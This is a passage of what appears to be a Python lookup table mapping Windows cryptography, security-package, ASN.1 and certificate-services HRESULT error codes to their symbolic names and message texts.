invalid.\"),\n        0x8009001B: (\"NTE_PROV_TYPE_NO_MATCH\", \"Provider type does not match registered value.\"),\n        0x8009001C: (\"NTE_SIGNATURE_FILE_BAD\", \"The digital signature file is corrupt.\"),\n        0x8009001D: (\"NTE_PROVIDER_DLL_FAIL\", \"Provider DLL failed to initialize correctly.\"),\n        0x8009001E: (\"NTE_PROV_DLL_NOT_FOUND\", \"Provider DLL could not be found.\"),\n        0x8009001F: (\"NTE_BAD_KEYSET_PARAM\", \"The keyset parameter is invalid.\"),\n        0x80090020: (\"NTE_FAIL\", \"An internal error occurred.\"),\n        0x80090021: (\"NTE_SYS_ERR\", \"A base error occurred.\"),\n        0x80090022: (\"NTE_SILENT_CONTEXT\", \"Provider could not perform the action because the context was acquired as silent.\"),\n        0x80090023: (\"NTE_TOKEN_KEYSET_STORAGE_FULL\", \"The security token does not have storage space available for an additional container.\"),\n        0x80090024: (\"NTE_TEMPORARY_PROFILE\", \"The profile for the user is a temporary profile.\"),\n        0x80090025: (\"NTE_FIXEDPARAMETER\", \"The key parameters could not be set because the configuration service provider (CSP) uses fixed parameters.\"),\n        0x80090026: (\"NTE_INVALID_HANDLE\", \"The supplied handle is invalid.\"),\n        0x80090027: (\"NTE_INVALID_PARAMETER\", \"The parameter is incorrect.\"),\n        0x80090028: (\"NTE_BUFFER_TOO_SMALL\", \"The buffer supplied to a function was too small.\"),\n        0x80090029: (\"NTE_NOT_SUPPORTED\", \"The requested operation is not supported.\"),\n        0x8009002A: (\"NTE_NO_MORE_ITEMS\", \"No more data is available.\"),\n        0x8009002B: (\"NTE_BUFFERS_OVERLAP\", \"The supplied buffers overlap incorrectly.\"),\n        0x8009002C: (\"NTE_DECRYPTION_FAILURE\", \"The specified data could not be decrypted.\"),\n        0x8009002D: (\"NTE_INTERNAL_ERROR\", \"An internal consistency check failed.\"),\n        0x8009002E: (\"NTE_UI_REQUIRED\", \"This operation requires input from the user.\"),\n        0x8009002F: (\"NTE_HMAC_NOT_SUPPORTED\", \"The cryptographic provider does not support Hash Message Authentication Code (HMAC).\"),\n        0x80090300: (\"SEC_E_INSUFFICIENT_MEMORY\", \"Not enough memory is available to complete this request.\"),\n        0x80090301: (\"SEC_E_INVALID_HANDLE\", \"The handle specified is invalid.\"),\n        0x80090302: (\"SEC_E_UNSUPPORTED_FUNCTION\", \"The function requested is not supported.\"),\n        0x80090303: (\"SEC_E_TARGET_UNKNOWN\", \"The specified target is unknown or unreachable.\"),\n        0x80090304: (\"SEC_E_INTERNAL_ERROR\", \"The Local Security Authority (LSA) cannot be contacted.\"),\n        0x80090305: (\"SEC_E_SECPKG_NOT_FOUND\", \"The requested security package does not exist.\"),\n        0x80090306: (\"SEC_E_NOT_OWNER\", \"The caller is not the owner of the desired credentials.\"),\n        0x80090307: (\"SEC_E_CANNOT_INSTALL\", \"The security package failed to initialize and cannot be installed.\"),\n        0x80090308: (\"SEC_E_INVALID_TOKEN\", \"The token supplied to the function is invalid.\"),\n        0x80090309: (\"SEC_E_CANNOT_PACK\", \"The security package is not able to marshal the logon buffer, so the logon attempt has failed.\"),\n        0x8009030A: (\"SEC_E_QOP_NOT_SUPPORTED\", \"The per-message quality of protection is not supported by the security package.\"),\n        0x8009030B: (\"SEC_E_NO_IMPERSONATION\", \"The security context does not allow impersonation of the client.\"),\n        0x8009030C: (\"SEC_E_LOGON_DENIED\", \"The logon attempt failed.\"),\n        0x8009030D: (\"SEC_E_UNKNOWN_CREDENTIALS\", \"The credentials supplied to the package were not recognized.\"),\n        0x8009030E: (\"SEC_E_NO_CREDENTIALS\", \"No credentials are available in the security package.\"),\n        0x8009030F: (\"SEC_E_MESSAGE_ALTERED\", \"The message or signature supplied for verification has been altered.\"),\n        0x80090310: (\"SEC_E_OUT_OF_SEQUENCE\", \"The message supplied for verification is out of sequence.\"),\n        0x80090311: (\"SEC_E_NO_AUTHENTICATING_AUTHORITY\", \"No authority could be contacted for authentication.\"),\n        0x80090316: (\"SEC_E_BAD_PKGID\", \"The requested security package does not exist.\"),\n        0x80090317: (\"SEC_E_CONTEXT_EXPIRED\", \"The context has expired and can no longer be used.\"),\n        0x80090318: (\"SEC_E_INCOMPLETE_MESSAGE\", \"The supplied message is incomplete. The signature was not verified.\"),\n        0x80090320: (\"SEC_E_INCOMPLETE_CREDENTIALS\", \"The credentials supplied were not complete and could not be verified. The context could not be initialized.\"),\n        0x80090321: (\"SEC_E_BUFFER_TOO_SMALL\", \"The buffers supplied to a function was too small.\"),\n        0x80090322: (\"SEC_E_WRONG_PRINCIPAL\", \"The target principal name is incorrect.\"),\n        0x80090324: (\"SEC_E_TIME_SKEW\", \"The clocks on the client and server machines are skewed.\"),\n        0x80090325: (\"SEC_E_UNTRUSTED_ROOT\", \"The certificate chain was issued by an authority that is not trusted.\"),\n        0x80090326: (\"SEC_E_ILLEGAL_MESSAGE\", \"The message received was unexpected or badly formatted.\"),\n        0x80090327: (\"SEC_E_CERT_UNKNOWN\", \"An unknown error occurred while processing the certificate.\"),\n        0x80090328: (\"SEC_E_CERT_EXPIRED\", \"The received certificate has expired.\"),\n        0x80090329: (\"SEC_E_ENCRYPT_FAILURE\", \"The specified data could not be encrypted.\"),\n        0x80090330: (\"SEC_E_DECRYPT_FAILURE\", \"The specified data could not be decrypted.\"),\n        0x80090331: (\"SEC_E_ALGORITHM_MISMATCH\", \"The client and server cannot communicate because they do not possess a common algorithm.\"),\n        0x80090332: (\"SEC_E_SECURITY_QOS_FAILED\", \"The security context could not be established due to a failure in the requested quality of service (for example, mutual authentication or delegation).\"),\n        0x80090333: (\"SEC_E_UNFINISHED_CONTEXT_DELETED\", \"A security context was deleted before the context was completed. This is considered a logon failure.\"),\n        0x80090334: (\"SEC_E_NO_TGT_REPLY\", \"The client is trying to negotiate a context and the server requires user-to-user but did not send a ticket granting ticket (TGT) reply.\"),\n        0x80090335: (\"SEC_E_NO_IP_ADDRESSES\", \"Unable to accomplish the requested task because the local machine does not have an IP addresses.\"),\n        0x80090336: (\"SEC_E_WRONG_CREDENTIAL_HANDLE\", \"The supplied credential handle does not match the credential associated with the security context.\"),\n        0x80090337: (\"SEC_E_CRYPTO_SYSTEM_INVALID\", \"The cryptographic system or checksum function is invalid because a required function is unavailable.\"),\n        0x80090338: (\"SEC_E_MAX_REFERRALS_EXCEEDED\", \"The number of maximum ticket referrals has been exceeded.\"),\n        0x80090339: (\"SEC_E_MUST_BE_KDC\", \"The local machine must be a Kerberos domain controller (KDC), and it is not.\"),\n        0x8009033A: (\"SEC_E_STRONG_CRYPTO_NOT_SUPPORTED\", \"The other end of the security negotiation requires strong cryptographics, but it is not supported on the local machine.\"),\n        0x8009033B: (\"SEC_E_TOO_MANY_PRINCIPALS\", \"The KDC reply contained more than one principal name.\"),\n        0x8009033C: (\"SEC_E_NO_PA_DATA\", \"Expected to find PA data for a hint of what etype to use, but it was not found.\"),\n        0x8009033D: (\"SEC_E_PKINIT_NAME_MISMATCH\", \"The client certificate does not contain a valid user principal name (UPN), or does not match the client name in the logon request. Contact your administrator.\"),\n        0x8009033E: (\"SEC_E_SMARTCARD_LOGON_REQUIRED\", \"Smart card logon is required and was not used.\"),\n        0x8009033F: (\"SEC_E_SHUTDOWN_IN_PROGRESS\", \"A system shutdown is in progress.\"),\n        0x80090340: (\"SEC_E_KDC_INVALID_REQUEST\", \"An invalid request was sent to the KDC.\"),\n        0x80090341: (\"SEC_E_KDC_UNABLE_TO_REFER\", \"The KDC was unable to generate a referral for the service requested.\"),\n        0x80090342: (\"SEC_E_KDC_UNKNOWN_ETYPE\", \"The encryption type requested is not supported by the KDC.\"),\n        0x80090343: (\"SEC_E_UNSUPPORTED_PREAUTH\", \"An unsupported pre-authentication mechanism was presented to the Kerberos package.\"),\n        0x80090345: (\"SEC_E_DELEGATION_REQUIRED\", \"The requested operation cannot be completed. The computer must be trusted for delegation, and the current user account must be configured to allow delegation.\"),\n        0x80090346: (\"SEC_E_BAD_BINDINGS\", \"Client's supplied Security Support Provider Interface (SSPI) channel bindings were incorrect.\"),\n        0x80090347: (\"SEC_E_MULTIPLE_ACCOUNTS\", \"The received certificate was mapped to multiple accounts.\"),\n        0x80090348: (\"SEC_E_NO_KERB_KEY\", \"No Kerberos key was found.\"),\n        0x80090349: (\"SEC_E_CERT_WRONG_USAGE\", \"The certificate is not valid for the requested usage.\"),\n        0x80090350: (\"SEC_E_DOWNGRADE_DETECTED\", \"The system detected a possible attempt to compromise security. Ensure that you can contact the server that authenticated you.\"),\n        0x80090351: (\"SEC_E_SMARTCARD_CERT_REVOKED\", \"The smart card certificate used for authentication has been revoked. Contact your system administrator. The event log may contain additional information.\"),\n        0x80090352: (\"SEC_E_ISSUING_CA_UNTRUSTED\", \"An untrusted certification authority (CA) was detected while processing the smart card certificate used for authentication. Contact your system administrator.\"),\n        0x80090353: (\"SEC_E_REVOCATION_OFFLINE_C\", \"The revocation status of the smart card certificate used for authentication could not be determined. Contact your system administrator.\"),\n        0x80090354: (\"SEC_E_PKINIT_CLIENT_FAILURE\", \"The smart card certificate used for authentication was not trusted. Contact your system administrator.\"),\n        0x80090355: (\"SEC_E_SMARTCARD_CERT_EXPIRED\", \"The smart card certificate used for authentication has expired. Contact your system administrator.\"),\n        0x80090356: (\"SEC_E_NO_S4U_PROT_SUPPORT\", \"The Kerberos subsystem encountered an error. A service for user protocol requests was made against a domain controller that does not support services for users.\"),\n        0x80090357: (\"SEC_E_CROSSREALM_DELEGATION_FAILURE\", \"An attempt was made by this server to make a Kerberos-constrained delegation request for a target outside the server's realm. This is not supported and indicates a misconfiguration on this server's allowed-to-delegate-to list. Contact your administrator.\"),\n        0x80090358: (\"SEC_E_REVOCATION_OFFLINE_KDC\", \"The revocation status of the domain controller certificate used for smart card authentication could not be determined. The system event log contains additional information. Contact your system administrator.\"),\n        0x80090359: (\"SEC_E_ISSUING_CA_UNTRUSTED_KDC\", \"An untrusted CA was detected while processing the domain controller certificate used for authentication. The system event log contains additional information. Contact your system administrator.\"),\n        0x8009035A: (\"SEC_E_KDC_CERT_EXPIRED\", \"The domain controller certificate used for smart card logon has expired. Contact your system administrator with the contents of your system event log.\"),\n        0x8009035B: (\"SEC_E_KDC_CERT_REVOKED\", \"The domain controller certificate used for smart card logon has been revoked. Contact your system administrator with the contents of your system event log.\"),\n        0x8009035D: (\"SEC_E_INVALID_PARAMETER\", \"One or more of the parameters passed to the function were invalid.\"),\n        0x8009035E: (\"SEC_E_DELEGATION_POLICY\", \"The client policy does not allow credential delegation to the target server.\"),\n        0x8009035F: (\"SEC_E_POLICY_NLTM_ONLY\", \"The client policy does not allow credential delegation to the target server with NLTM only authentication.\"),\n        0x80091001: (\"CRYPT_E_MSG_ERROR\", \"An error occurred while performing an operation on a cryptographic message.\"),\n        0x80091002: (\"CRYPT_E_UNKNOWN_ALGO\", \"Unknown cryptographic algorithm.\"),\n        0x80091003: (\"CRYPT_E_OID_FORMAT\", \"The object identifier is poorly formatted.\"),\n        0x80091004: (\"CRYPT_E_INVALID_MSG_TYPE\", \"Invalid cryptographic message type.\"),\n        0x80091005: (\"CRYPT_E_UNEXPECTED_ENCODING\", \"Unexpected cryptographic message encoding.\"),\n        0x80091006: (\"CRYPT_E_AUTH_ATTR_MISSING\", \"The cryptographic message does not contain an expected authenticated attribute.\"),\n        0x80091007: (\"CRYPT_E_HASH_VALUE\", \"The hash value is not correct.\"),\n        0x80091008: (\"CRYPT_E_INVALID_INDEX\", \"The index value is not valid.\"),\n        0x80091009: (\"CRYPT_E_ALREADY_DECRYPTED\", \"The content of the cryptographic message has already been decrypted.\"),\n        0x8009100A: (\"CRYPT_E_NOT_DECRYPTED\", \"The content of the cryptographic message has not been decrypted yet.\"),\n        0x8009100B: (\"CRYPT_E_RECIPIENT_NOT_FOUND\", \"The enveloped-data message does not contain the specified recipient.\"),\n        0x8009100C: (\"CRYPT_E_CONTROL_TYPE\", \"Invalid control type.\"),\n        0x8009100D: (\"CRYPT_E_ISSUER_SERIALNUMBER\", \"Invalid issuer or serial number.\"),\n        0x8009100E: (\"CRYPT_E_SIGNER_NOT_FOUND\", \"Cannot find the original signer.\"),\n        0x8009100F: (\"CRYPT_E_ATTRIBUTES_MISSING\", \"The cryptographic message does not contain all of the requested attributes.\"),\n        0x80091010: (\"CRYPT_E_STREAM_MSG_NOT_READY\", \"The streamed cryptographic message is not ready to return data.\"),\n        0x80091011: (\"CRYPT_E_STREAM_INSUFFICIENT_DATA\", \"The streamed cryptographic message requires more data to complete the decode operation.\"),\n        0x80092001: (\"CRYPT_E_BAD_LEN\", \"The length specified for the output data was insufficient.\"),\n        0x80092002: (\"CRYPT_E_BAD_ENCODE\", \"An error occurred during the encode or decode operation.\"),\n        0x80092003: (\"CRYPT_E_FILE_ERROR\", \"An error occurred while reading or writing to a file.\"),\n        0x80092004: (\"CRYPT_E_NOT_FOUND\", \"Cannot find object or property.\"),\n        0x80092005: (\"CRYPT_E_EXISTS\", \"The object or property already exists.\"),\n        0x80092006: (\"CRYPT_E_NO_PROVIDER\", \"No provider was specified for the store or object.\"),\n        0x80092007: (\"CRYPT_E_SELF_SIGNED\", \"The specified certificate is self-signed.\"),\n        0x80092008: (\"CRYPT_E_DELETED_PREV\", \"The previous certificate or certificate revocation list (CRL) context was deleted.\"),\n        0x80092009: (\"CRYPT_E_NO_MATCH\", \"Cannot find the requested object.\"),\n        0x8009200A: (\"CRYPT_E_UNEXPECTED_MSG_TYPE\", \"The certificate does not have a property that references a private key.\"),\n        0x8009200B: (\"CRYPT_E_NO_KEY_PROPERTY\", \"Cannot find the certificate and private key for decryption.\"),\n        0x8009200C: (\"CRYPT_E_NO_DECRYPT_CERT\", \"Cannot find the certificate and private key to use for decryption.\"),\n        0x8009200D: (\"CRYPT_E_BAD_MSG\", \"Not a cryptographic message or the cryptographic message is not formatted correctly.\"),\n        0x8009200E: (\"CRYPT_E_NO_SIGNER\", \"The signed cryptographic message does not have a signer for the specified signer index.\"),\n        0x8009200F: (\"CRYPT_E_PENDING_CLOSE\", \"Final closure is pending until additional frees or closes.\"),\n        0x80092010: (\"CRYPT_E_REVOKED\", \"The certificate is revoked.\"),\n        0x80092011: (\"CRYPT_E_NO_REVOCATION_DLL\", \"No DLL or exported function was found to verify revocation.\"),\n        0x80092012: (\"CRYPT_E_NO_REVOCATION_CHECK\", \"The revocation function was unable to check revocation for the certificate.\"),\n        0x80092013: (\"CRYPT_E_REVOCATION_OFFLINE\", \"The revocation function was unable to check revocation because the revocation server was offline.\"),\n        0x80092014: (\"CRYPT_E_NOT_IN_REVOCATION_DATABASE\", \"The certificate is not in the revocation server's database.\"),\n        0x80092020: (\"CRYPT_E_INVALID_NUMERIC_STRING\", \"The string contains a non-numeric character.\"),\n        0x80092021: (\"CRYPT_E_INVALID_PRINTABLE_STRING\", \"The string contains a nonprintable character.\"),\n        0x80092022: (\"CRYPT_E_INVALID_IA5_STRING\", \"The string contains a character not in the 7-bit ASCII character set.\"),\n        0x80092023: (\"CRYPT_E_INVALID_X500_STRING\", \"The string contains an invalid X500 name attribute key, object identifier (OID), value, or delimiter.\"),\n        0x80092024: (\"CRYPT_E_NOT_CHAR_STRING\", \"The dwValueType for the CERT_NAME_VALUE is not one of the character strings. Most likely it is either a CERT_RDN_ENCODED_BLOB or CERT_TDN_OCTED_STRING.\"),\n        0x80092025: (\"CRYPT_E_FILERESIZED\", \"The Put operation cannot continue. The file needs to be resized. However, there is already a signature present. A complete signing operation must be done.\"),\n        0x80092026: (\"CRYPT_E_SECURITY_SETTINGS\", \"The cryptographic operation failed due to a local security option setting.\"),\n        0x80092027: (\"CRYPT_E_NO_VERIFY_USAGE_DLL\", \"No DLL or exported function was found to verify subject usage.\"),\n        0x80092028: (\"CRYPT_E_NO_VERIFY_USAGE_CHECK\", \"The called function was unable to perform a usage check on the subject.\"),\n        0x80092029: (\"CRYPT_E_VERIFY_USAGE_OFFLINE\", \"The called function was unable to complete the usage check because the server was offline.\"),\n        0x8009202A: (\"CRYPT_E_NOT_IN_CTL\", \"The subject was not found in a certificate trust list (CTL).\"),\n        0x8009202B: (\"CRYPT_E_NO_TRUSTED_SIGNER\", \"None of the signers of the cryptographic message or certificate trust list is trusted.\"),\n        0x8009202C: (\"CRYPT_E_MISSING_PUBKEY_PARA\", \"The public key's algorithm parameters are missing.\"),\n        0x80093000: (\"CRYPT_E_OSS_ERROR\", \"OSS Certificate encode/decode error code base.\"),\n        0x80093001: (\"OSS_MORE_BUF\", \"OSS ASN.1 Error: Output Buffer is too small.\"),\n        0x80093002: (\"OSS_NEGATIVE_UINTEGER\", \"OSS ASN.1 Error: Signed integer is encoded as a unsigned integer.\"),\n        0x80093003: (\"OSS_PDU_RANGE\", \"OSS ASN.1 Error: Unknown ASN.1 data type.\"),\n        0x80093004: (\"OSS_MORE_INPUT\", \"OSS ASN.1 Error: Output buffer is too small; the decoded data has been truncated.\"),\n        0x80093005: (\"OSS_DATA_ERROR\", \"OSS ASN.1 Error: Invalid data.\"),\n        0x80093006: (\"OSS_BAD_ARG\", \"OSS ASN.1 Error: Invalid argument.\"),\n        0x80093007: (\"OSS_BAD_VERSION\", \"OSS ASN.1 Error: Encode/Decode version mismatch.\"),\n        0x80093008: (\"OSS_OUT_MEMORY\", \"OSS ASN.1 Error: Out of memory.\"),\n        0x80093009: (\"OSS_PDU_MISMATCH\", \"OSS ASN.1 Error: Encode/Decode error.\"),\n        0x8009300A: (\"OSS_LIMITED\", \"OSS ASN.1 Error: Internal error.\"),\n        0x8009300B: (\"OSS_BAD_PTR\", \"OSS ASN.1 Error: Invalid data.\"),\n        0x8009300C: (\"OSS_BAD_TIME\", \"OSS ASN.1 Error: Invalid data.\"),\n        0x8009300D: (\"OSS_INDEFINITE_NOT_SUPPORTED\", \"OSS ASN.1 Error: Unsupported BER indefinite-length encoding.\"),\n        0x8009300E: (\"OSS_MEM_ERROR\", \"OSS ASN.1 Error: Access violation.\"),\n        0x8009300F: (\"OSS_BAD_TABLE\", \"OSS ASN.1 Error: Invalid data.\"),\n        0x80093010: (\"OSS_TOO_LONG\", \"OSS ASN.1 Error: Invalid data.\"),\n        0x80093011: (\"OSS_CONSTRAINT_VIOLATED\", \"OSS ASN.1 Error: Invalid data.\"),\n        0x80093012: (\"OSS_FATAL_ERROR\", \"OSS ASN.1 Error: Internal error.\"),\n        0x80093013: (\"OSS_ACCESS_SERIALIZATION_ERROR\", \"OSS ASN.1 Error: Multithreading conflict.\"),\n        0x80093014: (\"OSS_NULL_TBL\", \"OSS ASN.1 Error: Invalid data.\"),\n        0x80093015: (\"OSS_NULL_FCN\", \"OSS ASN.1 Error: Invalid data.\"),\n        0x80093016: (\"OSS_BAD_ENCRULES\", \"OSS ASN.1 Error: Invalid data.\"),\n        0x80093017: (\"OSS_UNAVAIL_ENCRULES\", \"OSS ASN.1 Error: Encode/Decode function not implemented.\"),\n        0x80093018: (\"OSS_CANT_OPEN_TRACE_WINDOW\", \"OSS ASN.1 Error: Trace file error.\"),\n        0x80093019: (\"OSS_UNIMPLEMENTED\", \"OSS ASN.1 Error: Function not implemented.\"),\n        0x8009301A: (\"OSS_OID_DLL_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x8009301B: (\"OSS_CANT_OPEN_TRACE_FILE\", \"OSS ASN.1 Error: Trace file error.\"),\n        0x8009301C: (\"OSS_TRACE_FILE_ALREADY_OPEN\", \"OSS ASN.1 Error: Trace file error.\"),\n        0x8009301D: (\"OSS_TABLE_MISMATCH\", \"OSS ASN.1 Error: Invalid data.\"),\n        0x8009301E: (\"OSS_TYPE_NOT_SUPPORTED\", \"OSS ASN.1 Error: Invalid data.\"),\n        0x8009301F: (\"OSS_REAL_DLL_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x80093020: (\"OSS_REAL_CODE_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x80093021: (\"OSS_OUT_OF_RANGE\", \"OSS ASN.1 Error: Program link error.\"),\n        0x80093022: (\"OSS_COPIER_DLL_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x80093023: (\"OSS_CONSTRAINT_DLL_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x80093024: (\"OSS_COMPARATOR_DLL_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x80093025: (\"OSS_COMPARATOR_CODE_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x80093026: (\"OSS_MEM_MGR_DLL_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x80093027: (\"OSS_PDV_DLL_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x80093028: (\"OSS_PDV_CODE_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x80093029: (\"OSS_API_DLL_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x8009302A: (\"OSS_BERDER_DLL_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x8009302B: (\"OSS_PER_DLL_NOT_LINKED\", \"OSS ASN.1 Error: Program link error.\"),\n        0x8009302C: (\"OSS_OPEN_TYPE_ERROR\", \"OSS ASN.1 Error: Program link error.\"),\n        0x8009302D: (\"OSS_MUTEX_NOT_CREATED\", \"OSS ASN.1 Error: System resource error.\"),\n        0x8009302E: (\"OSS_CANT_CLOSE_TRACE_FILE\", \"OSS ASN.1 Error: Trace file error.\"),\n        0x80093100: (\"CRYPT_E_ASN1_ERROR\", \"ASN1 Certificate encode/decode error code base.\"),\n        0x80093101: (\"CRYPT_E_ASN1_INTERNAL\", \"ASN1 internal encode or decode error.\"),\n        0x80093102: (\"CRYPT_E_ASN1_EOD\", \"ASN1 unexpected end of data.\"),\n        0x80093103: (\"CRYPT_E_ASN1_CORRUPT\", \"ASN1 corrupted data.\"),\n        0x80093104: (\"CRYPT_E_ASN1_LARGE\", \"ASN1 value too large.\"),\n        0x80093105: (\"CRYPT_E_ASN1_CONSTRAINT\", \"ASN1 constraint violated.\"),\n        0x80093106: (\"CRYPT_E_ASN1_MEMORY\", \"ASN1 out of memory.\"),\n        0x80093107: (\"CRYPT_E_ASN1_OVERFLOW\", \"ASN1 buffer overflow.\"),\n        0x80093108: (\"CRYPT_E_ASN1_BADPDU\", \"ASN1 function not supported for this protocol data unit (PDU).\"),\n        0x80093109: (\"CRYPT_E_ASN1_BADARGS\", \"ASN1 bad arguments to function call.\"),\n        0x8009310A: (\"CRYPT_E_ASN1_BADREAL\", \"ASN1 bad real value.\"),\n        0x8009310B: (\"CRYPT_E_ASN1_BADTAG\", \"ASN1 bad tag value met.\"),\n        0x8009310C: (\"CRYPT_E_ASN1_CHOICE\", \"ASN1 bad choice value.\"),\n        0x8009310D: (\"CRYPT_E_ASN1_RULE\", \"ASN1 bad encoding rule.\"),\n        0x8009310E: (\"CRYPT_E_ASN1_UTF8\", \"ASN1 bad Unicode (UTF8).\"),\n        0x80093133: (\"CRYPT_E_ASN1_PDU_TYPE\", \"ASN1 bad PDU type.\"),\n        0x80093134: (\"CRYPT_E_ASN1_NYI\", \"ASN1 not yet implemented.\"),\n        0x80093201: (\"CRYPT_E_ASN1_EXTENDED\", \"ASN1 skipped unknown extensions.\"),\n        0x80093202: (\"CRYPT_E_ASN1_NOEOD\", \"ASN1 end of data expected.\"),\n        0x80094001: (\"CERTSRV_E_BAD_REQUESTSUBJECT\", \"The request subject name is invalid or too long.\"),\n        0x80094002: (\"CERTSRV_E_NO_REQUEST\", \"The request does not exist.\"),\n        0x80094003: (\"CERTSRV_E_BAD_REQUESTSTATUS\", \"The request's current status does not allow this operation.\"),\n        0x80094004: (\"CERTSRV_E_PROPERTY_EMPTY\", \"The requested property value is empty.\"),\n        0x80094005: (\"CERTSRV_E_INVALID_CA_CERTIFICATE\", \"The CA's certificate contains invalid data.\"),\n        0x80094006: (\"CERTSRV_E_SERVER_SUSPENDED\", \"Certificate service has been suspended for a database restore operation.\"),\n        0x80094007: (\"CERTSRV_E_ENCODING_LENGTH\", \"The certificate contains an encoded length that is potentially incompatible with older enrollment software.\"),\n        0x80094008: (\"CERTSRV_E_ROLECONFLICT\", \"The operation is denied. The user has multiple roles assigned, and the CA is configured to enforce role separation.\"),\n        0x80094009: (\"CERTSRV_E_RESTRICTEDOFFICER\", \"The operation is denied. It can only be performed by a certificate manager that is allowed to manage certificates for the current requester.\"),\n        0x8009400A: (\"CERTSRV_E_KEY_ARCHIVAL_NOT_CONFIGURED\", \"Cannot archive private key. The CA is not configured for key archival.\"),\n        0x8009400B: (\"CERTSRV_E_NO_VALID_KRA\", \"Cannot archive private key. The CA could not verify one or more key recovery certificates.\"),\n        0x8009400C: (\"CERTSRV_E_BAD_REQUEST_KEY_ARCHIVAL\", \"The request is incorrectly formatted. The encrypted private key must be in an unauthenticated attribute in an outermost signature.\"),\n        0x8009400D: (\"CERTSRV_E_NO_CAADMIN_DEFINED\", \"At least one security principal must have the permission to manage this CA.\"),\n        0x8009400E: (\"CERTSRV_E_BAD_RENEWAL_CERT_ATTRIBUTE\", \"The request contains an invalid renewal certificate attribute.\"),\n        0x8009400F: (\"CERTSRV_E_NO_DB_SESSIONS\", \"An attempt was made to open a CA database session, but there are already too many active sessions. The server may need to be configured to allow additional sessions.\"),\n        0x80094010: (\"CERTSRV_E_ALIGNMENT_FAULT\", \"A memory reference caused a data alignment fault.\"),\n        0x80094011: (\"CERTSRV_E_ENROLL_DENIED\", \"The permissions on this CA do not allow the current user to enroll for certificates.\"),\n        0x80094012: (\"CERTSRV_E_TEMPLATE_DENIED\", \"The permissions on the certificate template do not allow the current user to enroll for this type of certificate.\"),\n        0x80094013: (\"CERTSRV_E_DOWNLEVEL_DC_SSL_OR_UPGRADE\", \"The contacted domain controller cannot support signed Lightweight Directory Access Protocol (LDAP) traffic. Update the domain controller or configure Certificate Services to use SSL for Active Directory access.\"),\n        0x80094800: (\"CERTSRV_E_UNSUPPORTED_CERT_TYPE\", \"The requested certificate template is not supported by this CA.\"),\n        0x80094801: (\"CERTSRV_E_NO_CERT_TYPE\", \"The request contains no certificate template information.\"),\n        0x80094802: (\"CERTSRV_E_TEMPLATE_CONFLICT\", \"The request contains conflicting template information.\"),\n        0x80094803: (\"CERTSRV_E_SUBJECT_ALT_NAME_REQUIRED\", \"The request is missing a required Subject Alternate name extension.\"),\n        0x80094804: (\"CERTSRV_E_ARCHIVED_KEY_REQUIRED\", \"The request is missing a required private key for archival by the server.\"),\n        0x80094805: (\"CERTSRV_E_SMIME_REQUIRED\", \"The request is missing a required SMIME capabilities extension.\"),\n        0x80094806: (\"CERTSRV_E_BAD_RENEWAL_SUBJECT\", \"The request was made on behalf of a subject other than the caller. The certificate template must be configured to require at least one signature to authorize the request.\"),\n        0x80094807: (\"CERTSRV_E_BAD_TEMPLATE_VERSION\", \"The request template version is newer than the supported template version.\"),\n        0x80094808: (\"CERTSRV_E_TEMPLATE_POLICY_REQUIRED\", \"The template is missing a required signature policy attribute.\"),\n        0x80094809: (\"CERTSRV_E_SIGNATURE_POLICY_REQUIRED\", \"The request is missing required signature policy information.\"),\n        0x8009480A: (\"CERTSRV_E_SIGNATURE_COUNT\", \"The request is missing one or more required signatures.\"),\n        0x8009480B: (\"CERTSRV_E_SIGNATURE_REJECTED\", \"One or more signatures did not include the required application or issuance policies. The request is missing one or more required valid signatures.\"),\n        0x8009480C: (\"CERTSRV_E_ISSUANCE_POLICY_REQUIRED\", \"The request is missing one or more required signature issuance policies.\"),\n        0x8009480D: (\"CERTSRV_E_SUBJECT_UPN_REQUIRED\", \"The UPN is unavailable and cannot be added to the Subject Alternate name.\"),\n        0x8009480E: (\"CERTSRV_E_SUBJECT_DIRECTORY_GUID_REQUIRED\", \"The Active Directory GUID is unavailable and cannot be added to the Subject Alternate name.\"),\n        0x8009480F: (\"CERTSRV_E_SUBJECT_DNS_REQUIRED\", \"The Domain Name System (DNS) name is unavailable and cannot be added to the Subject Alternate name.\"),\n        0x80094810: (\"CERTSRV_E_ARCHIVED_KEY_UNEXPECTED\", \"The request includes a private key for archival by the server, but key archival is not enabled for the specified certificate template.\"),\n        0x80094811: (\"CERTSRV_E_KEY_LENGTH\", \"The public key does not meet the minimum size required by the specified certificate template.\"),\n        0x80094812: (\"CERTSRV_E_SUBJECT_EMAIL_REQUIRED\", \"The email name is unavailable and cannot be added to the Subject or Subject Alternate name.\"),\n        0x80094813: (\"CERTSRV_E_UNKNOWN_CERT_TYPE\", \"One or more certificate templates to be enabled on this CA could not be found.\"),\n        0x80094814: (\"CERTSRV_E_CERT_TYPE_OVERLAP\", \"The certificate template renewal period is longer than the certificate validity period. The template should be reconfigured or the CA certificate renewed.\"),\n        0x80094815: (\"CERTSRV_E_TOO_MANY_SIGNATURES\", \"The certificate template requires too many return authorization (RA) signatures. Only one RA signature is allowed.\"),\n        0x80094816: (\"CERTSRV_E_RENEWAL_BAD_PUBLIC_KEY\", \"The key used in a renewal request does not match one of the certificates being renewed.\"),\n        0x80094817: (\"CERTSRV_E_INVALID_EK\", \"The endorsement key certificate is not valid.\"),\n        0x8009481A: (\"CERTSRV_E_KEY_ATTESTATION\", \"Key attestation did not succeed.\"),\n        0x80095000: (\"XENROLL_E_KEY_NOT_EXPORTABLE\", \"The key is not exportable.\"),\n        0x80095001: (\"XENROLL_E_CANNOT_ADD_ROOT_CERT\", \"You cannot add the root CA certificate into your local store.\"),\n        0x80095002: (\"XENROLL_E_RESPONSE_KA_HASH_NOT_FOUND\", \"The key archival hash attribute was not found in the response.\"),\n        0x80095003: (\"XENROLL_E_RESPONSE_UNEXPECTED_KA_HASH\", \"An unexpected key archival hash attribute was found in the response.\"),\n        